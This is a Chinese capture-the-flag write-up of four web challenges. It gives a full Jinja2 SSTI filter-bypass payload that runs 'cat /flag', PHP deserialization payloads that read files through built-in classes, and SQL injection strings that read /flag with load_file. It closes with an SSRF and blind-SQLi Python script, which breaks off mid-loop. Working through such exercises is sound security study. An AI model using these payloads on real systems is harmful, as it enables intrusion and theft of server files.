[toc]

baby_flask

题目描述:你今天的幸运数字想不想知道,我来告诉你。

进入题目,是一个输出框。输入你的名字,然后随机返回给你一个幸运数字:

image-20210327143312383

image-20210327143326409

我们猜测 /getname?name= 处应该存在SSTI。

F12查看源代码发现提示过滤了一下字符:

1
2
3
4
5
6
blacklist</br>   
'.','[','\'','"','\\','+',':','_',</br>
'chr','pop','class','base','mro','init','globals','get',</br>
'eval','exec','os','popen','open','read',</br>
'select','url_for','get_flashed_messages','config','request',</br>
'count','length','0','1','2','3','4','5','6','7','8','9','0','1','2','3','4','5','6','7','8','9'</br>

过滤的死死地,甚至将所有的数字都过滤了。我们仍然可以使用通过滤器进行绕过,经过之前那道题的演示,我们可以很容易的构造出被过滤了的字符或字符串。

Payload构造过程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
# 首先构造出所需的数字: 
{% set zero = (self|int) %} # 0, 也可以使用lenght过滤器获取数字
{% set one = (zero**zero)|int %} # 1
{% set two = (zero-one-one)|abs %} # 2
{% set four = (two*two)|int %} # 4
{% set five = (two*two*two)-one-one-one %} # 5
{% set three = five-one-one %} # 3
{% set nine = (two*two*two*two-five-one-one) %} # 9
{% set seven = (zero-one-one-five)|abs %} # 7

# 构造出所需的各种字符与字符串:
{% set space = self|string|min %} # 空格
{% set point = self|float|string|min %} # .

{% set c = dict(c=aa)|reverse|first %} # 字符 c
{% set bfh = self|string|urlencode|first %} # 百分号 %
{% set bfhc = bfh~c %} # 这里构造了%c, 之后可以利用这个%c构造任意字符。~用于字符连接
{% set slas = bfhc%((four~seven)|int) %} # 使用%c构造斜杠 /
{% set yin = bfhc%((three~nine)|int) %} # 使用%c构造引号 '
{% set xhx = bfhc%((nine~five)|int) %} # 使用%c构造下划线 _
{% set right = bfhc%((four~one)|int) %} # 使用%c构造右括号 )
{% set left = bfhc%((four~zero)|int) %} # 使用%c构造左括号 (

{% set but = dict(buil=aa,tins=dd)|join %} # builtins
{% set imp = dict(imp=aa,ort=dd)|join %} # import
{% set pon = dict(po=aa,pen=dd)|join %} # popen
{% set so = dict(o=aa,s=dd)|join %} # os
{% set ca = dict(ca=aa,t=dd)|join %} # cat
{% set flg = dict(fl=aa,ag=dd)|join %} # flag
{% set ev = dict(ev=aa,al=dd)|join %} # eval
{% set red = dict(re=aa,ad=dd)|join %} # read
{% set bul = xhx~xhx~but~xhx~xhx %} # __builtins__

{% set ini = dict(ini=aa,t=bb)|join %} # init
{% set glo = dict(glo=aa,bals=bb)|join %} # globals
{% set itm = dict(ite=aa,ms=bb)|join %} # items

# 将上面构造的字符或字符串拼接起来构造出 __import__('os').popen('cat /flag').read():
{% set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}

# 然后将上面构造的各种变量添加到SSTI万能payload里面就行了:
{% for f,v in (whoami|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %} # globals
{% if f == bul %}
{% for a,b in (v|attr(itm))() %} # builtins
{% if a == ev %} # eval
{{b(pld)}} # eval("__import__('os').popen('cat /flag').read()")
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

# 最后的payload如下:
{% set zero = (self|int) %}{% set one = (zero**zero)|int %}{% set two = (zero-one-one)|abs %}{% set four = (two*two)|int %}{% set five = (two*two*two)-one-one-one %}{% set three = five-one-one %}{% set nine = (two*two*two*two-five-one-one) %}{% set seven = (zero-one-one-five)|abs %}{% set space = self|string|min %}{% set point = self|float|string|min %}{% set c = dict(c=aa)|reverse|first %}{% set bfh = self|string|urlencode|first %}{% set bfhc = bfh~c %}{% set slas = bfhc%((four~seven)|int) %}{% set yin = bfhc%((three~nine)|int) %}{% set xhx = bfhc%((nine~five)|int) %}{% set right = bfhc%((four~one)|int) %}{% set left = bfhc%((four~zero)|int) %}{% set but = dict(buil=aa,tins=dd)|join %}{% set imp = dict(imp=aa,ort=dd)|join %}{% set pon = dict(po=aa,pen=dd)|join %}{% set so = dict(o=aa,s=dd)|join %}{% set ca = dict(ca=aa,t=dd)|join %}{% set flg = dict(fl=aa,ag=dd)|join %}{% set ev = dict(ev=aa,al=dd)|join %}{% set red = dict(re=aa,ad=dd)|join %}{% set bul = xhx~xhx~but~xhx~xhx %}{% set ini = dict(ini=aa,t=bb)|join %}{% set glo = dict(glo=aa,bals=bb)|join %}{% set itm = dict(ite=aa,ms=bb)|join %}{% set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}{% for f,v in (self|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %}{% if f == bul %}{% for a,b in (v|attr(itm))() %}{% if a == ev %}{{b(pld)}}{% endif %}{% endfor %}{% endif %}{% endfor %}

ez_serialize

进入题目,给出源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
error_reporting(0);
highlight_file(__FILE__);

class A{
public $class;
public $para;
public $check;
public function __construct()
{
$this->class = "B";
$this->para = "ctfer";
echo new $this->class ($this->para);
}
public function __wakeup() // 可以直接绕过__wakeup()方法的执行
{
$this->check = new C;
if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
echo new $this->class ($this->para);
}
else
die('bad hacker~');
}

}
class B{
var $a;
public function __construct($a)
{
$this->a = $a;
echo ("hello ".$this->a);
}
}
class C{

function vaild($code){
$pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';
if (preg_match($pattern, $code)){
return false;
}
else
return true;
}
}


if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
else{
$a=new A;

}

在A类中可以动态拼接类,就像PHP动态执行函数一样。但是题目给出的A、B、C三个类但是都没有什么危险函数,应该是没有利用的点,想到应该是原生类的利用。PHP原生类详情请参考:

首先利用DirectoryIterator或FilesystemIterator类去遍历目标的Web目录:

1
2
3
4
5
6
7
8
9
10
<?php
class A{
public $class='FilesystemIterator';
// FilesystemIterator("/var/www/html")
public $para="/var/www/html/";
public $check;
}

$poc = new A();
echo serialize($poc);

得到payload:

1
O:1:"A":3:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:14:"/var/www/html/";s:5:"check";N;}

执行后得到一个文件夹 aMaz1ng_y0u_coUld_f1nd_F1Ag_hErE:

image-20210330173027983

并在这个文件夹中找到了flag.php:

image-20210330173145934

然后我们使用 SplFileObject 类读取flag.php就行了:

1
2
3
4
5
6
7
8
9
10
<?php
class A{
public $class='SplFileObject';
// SplFileObject("/var/www/html/aMaz1ng_y0u_coUld_f1nd_F1Ag_hErE/flag.php")
public $para="/var/www/html/aMaz1ng_y0u_coUld_f1nd_F1Ag_hErE/flag.php";
public $check;
}

$poc = new A();
echo serialize($poc);

得到payload:

1
O:1:"A":3:{s:5:"class";s:13:"SplFileObject";s:4:"para";s:55:"/var/www/html/aMaz1ng_y0u_coUld_f1nd_F1Ag_hErE/flag.php";s:5:"check";N;}

image-20210330173503373

BestDB

进入题目,是一个用户信息查询系统:

image-20210327143637526

输入你的ID或者username即可查询用户的信息:

image-20210327143922961

经测试,过滤了空格,我们使用 /**/ 绕过即可。

测试查询语句字段数与回显点:

1
-1"/**/union/**/select/**/1,2,3#

image-20210327152948208

爆表:

1
-1"/**/union/**/select/**/1,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),3#

得到两个表:f1agdas、users

最终在f1agdas中得到了提示:

1
-1"/**/union/**/select/**/1,(select(f1agdas)from(f1agdas)),3#

image-20210327153218454

flag可能在flag.txt里面,尝试读取根目录里的flag.txt:

1
-1"/**/union/**/select/**/1,(hex(select(load_file(0x2f666c61672e747874)))),3#

(注意这里/flag.txt要进行hex编码,因为flag也被过滤了)

读取失败了,之后一直在找flag.txt到底在哪,但是我一直没有找到这个flag.txt在哪里。之后抱着试一试的心理读了读/flag,md竟然成功了:

1
-1"/**/union/**/select/**/1,(select(substr(load_file(0x2f666c6167),1,100))),3#

image-20210327162359824

这主办方是在骗人?

ez_login

image-20210327153556138

题目给出源码。

先来看 index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
if(!isset($_SESSION)){
highlight_file(__FILE__);
die("no session");
}
include("./php/check_ip.php");
error_reporting(0);
$url = $_GET['url'];
if(check_inner_ip($url)){
if($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
curl_close($ch);
}
}else{
echo "Your IP is internal yoyoyo";
}
?>

代码前几行限制了必须设置了session,否则就退出程序不再往下执行。这里我们使用PHP_SESSION_UPLOAD_PROGRESS上传session即可。

再来看看 se1f_log3n.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include("./php/db.php");
include("./php/check_ip.php");
error_reporting(E_ALL);
$ip = $_SERVER["REMOTE_ADDR"];
if($ip !== "127.0.0.1"){
exit();
}else{
try{
$sql = 'SELECT `username`,`password` FROM `user` WHERE `username`= "'.$username.'" and `password`="'.$password.'";';
$result = $con->query($sql);
echo $sql;
}catch(Exception $e){
echo $e->getMessage();
}
($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND die("error")) OR ( ($con->close() AND die('Try again!') ));
} // 没有输出查询结果

存在sql盲注,且题目得名子是ez_login,那我们可以猜测到应该是让我们通过sql注入得到admin的密码,与 [BJDCTF 2nd]简单注入 和 [NCTF2019]SQLi 这两道题相似。

最后给出盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# coding=utf-8
import io
import requests
import threading

tables = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-}{'
flag = ''
sessid = 'flag'
for i in range(1,70):
for j in tables:
url = "http://6ac49c07-405e-454b-8b76-50c4b3adb45d.machine.dasctf.com/?url=http://localhost/se1f_Log3n.php?username=admin' password regexp binary %s-- #&password=admin"%(j)
f = io.BytesIO(b'a' * 1024 * 50)
session = requests.session()
resp = session.post(url,data={'PHP_SESSION_UPLOAD_PROGRESS': 'x'},files={'file': ('tgao.txt', f)}, cookies={'PHPSESSID': sessid})
if 'wrong' not in resp.text:
flag = flag +j
print(j)